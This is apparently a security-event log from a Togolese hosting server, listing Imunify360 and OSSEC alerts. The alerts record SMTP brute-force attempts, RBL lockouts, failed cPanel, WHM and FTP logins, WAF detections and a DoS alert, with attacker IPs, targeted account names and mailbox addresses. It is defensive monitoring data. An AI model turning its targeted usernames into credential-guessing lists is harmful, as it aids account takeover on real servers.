name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:16:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:16:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62626: 535 Incorrect authentication data (set_id=oakland@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:16:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1144: 535 Incorrect authentication data (set_id=nfsd@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.188.123
country_id: 1562822
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/togo-appel-a-candidatures-pour-des-bourses-detude-en-afrique-du-sud/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.181.35
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/pia-un-modele-dinsertion-professionnelle-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.181.35
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/pia-un-modele-dinsertion-professionnelle-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:17:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14626: 535 Incorrect authentication data (set_id=machine@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:17:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58206: 535 Incorrect authentication data (set_id=start@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:17:42 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:17:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:38324: 535 Incorrect authentication data (set_id=melinda@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:17:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:17:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:17:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13516: 535 Incorrect authentication data (set_id=waterpolo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:17:33 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:17:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57798: 535 Incorrect authentication data (set_id=.htaccess@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:18:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:18:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:18:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33806: 535 Incorrect authentication data (set_id=machine@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:18:30 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:18:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:2954: 535 Incorrect authentication data (set_id=opendkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:18:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:34490: 535 Incorrect authentication data (set_id=sig@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:18:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54450: 535 Incorrect authentication data (set_id=laboratorio@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:18:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:19:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6692: 535 Incorrect authentication data (set_id=agile@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:19:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:19:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:19:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:19:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9684: 535 Incorrect authentication data (set_id=msu@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:19:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:30768: 535 Incorrect authentication data (set_id=prueba2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:19:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35924: 535 Incorrect authentication data (set_id=tl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:19:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:20:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56796: 535 Incorrect authentication data (set_id=gujarati@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.47.39.63
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=1&paged=3 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:20:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:7028: 535 Incorrect authentication data (set_id=rzv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:20:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:20:03 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:20:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47460: 535 Incorrect authentication data (set_id=literacy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:20:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:20:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7014: 535 Incorrect authentication data (set_id=hms@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.169.41
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.169.41||TA:140.235.169.41||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:20:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12282: 535 Incorrect authentication data (set_id=lock@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:20:34 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:21:22 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:21:32 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:21:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:3942: 535 Incorrect authentication data (set_id=khs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:21:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23692: 535 Incorrect authentication data (set_id=srvc17@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:21:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2198: 535 Incorrect authentication data (set_id=pc05@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:21:32 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:21:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:21:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49290: 535 Incorrect authentication data (set_id=acc@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.97.109.219
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/antoine-gbegbeni-nouveau-dg-de-la-tde/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:22:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42708: 535 Incorrect authentication data (set_id=shuttle@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.150.170.38
country_id: 3585968
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2301 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:22:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13828: 535 Incorrect authentication data (set_id=refer@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.100.208
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.100.208: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:22:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44598: 535 Incorrect authentication data (set_id=greg2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:22:20 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:22:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36094: 535 Incorrect authentication data (set_id=lula@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:22:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:22:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:22:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.222.63.252
country_id: 3923057
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=151 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.161.88
country_id: 2434508
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=14 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.99
country_id: 6252001
description:
Jul  2 01:24:14 ns5 pure-ftpd[3020459]: (?@147.185.132.99) [INFO] New connection from 147.185.132.99


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.255.5.65
country_id: 102358
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=411 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.130.71.134
country_id: 3469034
description:
177.130.71.134 - - [02/Jul/2026:01:25:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077593&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-220216kitems%252Fetidm72wn.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782955512 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-220216kitems/etidm72wn.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.130.71.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.196.176
country_id: 1269750
description:
[2026-07-02 01:25:58 +0000] info [cpaneld] 66.116.196.176 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.235.168.234
country_id: 6252001
description:
[2026-07-02 01:26:07 +0000] info [cpaneld] 140.235.168.234 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.101.240.61
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.235.168.234
country_id: 6252001
description:
140.235.168.234 - - [02/Jul/2026:01:26:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867927&pdata=https%3A%2F%2Fwww.tchambainvest.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782955561 HTTP/1.1" 302 0 www.tchambainvest.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.235.168.234


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.166.244.66
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=907||QS:add-to-cart=907||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 155.2.219.72
country_id: 3469034
description:
[2026-07-02 01:30:13 +0000] info [cpaneld] 155.2.219.72 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 178.20.215.113
country_id: 241170
domain: tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:178.20.215.113||TA:178.20.215.113||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.235.46.216
country_id: 6252001
description:
[2026-07-02 01:43:08 +0000] info [cpaneld] 68.235.46.216 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.251.121.103
country_id: 241170
description:
2026-07-02 01:47:19 H=([196.251.121.103]) [196.251.121.103]:50306 F=<annah@setabiomedicals.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 186.189.71.216
country_id: 3895114
domain: derou.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:19248.derou.tg||ServerName:derou.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8201645c2153a4d45c5346c5437ae974e9f43a19||Title:0x11e1db3f||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.106.171
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/jeu-concours-capsule-2023 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.190.230.216
country_id: 2750405
description:
[2026-07-02 01:52:34 +0000] info [cpaneld] 146.190.230.216 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.234.117.172
country_id: 6252001
description:
23.234.117.172 - - [02/Jul/2026:01:57:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051674&pdata=https%253A%252F%252Ftogosem.com%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782957428 HTTP/2.0" 302 0 togosem.com "https://togosem.com:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.198 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.234.117.172


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.74.66
country_id: 2635167
description:
Jul  2 01:57:50 ns5 pure-ftpd[3035193]: (?@81.171.74.66) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.117.172
country_id: 6252001
description:
[2026-07-02 01:57:13 +0000] info [cpaneld] 23.234.117.172 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.249.128
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/tag/eclairage-public/feed/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.236.223
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=53 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.221.110
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2231 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.59.148.6
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=50 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.22.230
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=381 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.129.178
country_id: 1168579
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2022/10/24/rgph-5-linseed-demande-de-reserver-un-bon-accueil-aux-agents/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 135.136.51.246
country_id: 798549
description:
[2026-07-02 02:23:10 +0000] info [whostmgrd] 135.136.51.246 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.46
country_id: 226074
description:
Jul  2 02:26:38 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  2 02:26:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.91.172
country_id: 3469034
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.253.91.172||TA:104.253.91.172||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:02:31:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340040&pdata=https%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252F5a62aa212b86bc08a2d77c395174ea68%252F8a5e8e4b08af2effd9daa8105741ce34%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782959498 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/5a62aa212b86bc08a2d77c395174ea68/8a5e8e4b08af2effd9daa8105741ce34/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.38.224
country_id: 6251999
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.239.38.224||TA:104.239.38.224||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.18
country_id: 6252001
description:
205.169.39.18 - - [02/Jul/2026:02:32:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515866&pdata=http%253A%252F%252Fyzsfow.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782959535 HTTP/1.1" 302 0 yzsfow.mediatopnews.tg "http://yzsfow.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.18


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.192.226.83
country_id: 2017370
description:
2026-07-02 02:33:07 dovecot_login authenticator failed for H=([49.124.153.22]) [62.192.226.83]:41704: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.156.46.165
country_id: 6252001
description:
[2026-07-02 02:34:15 +0000] info [cpaneld] 185.156.46.165 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
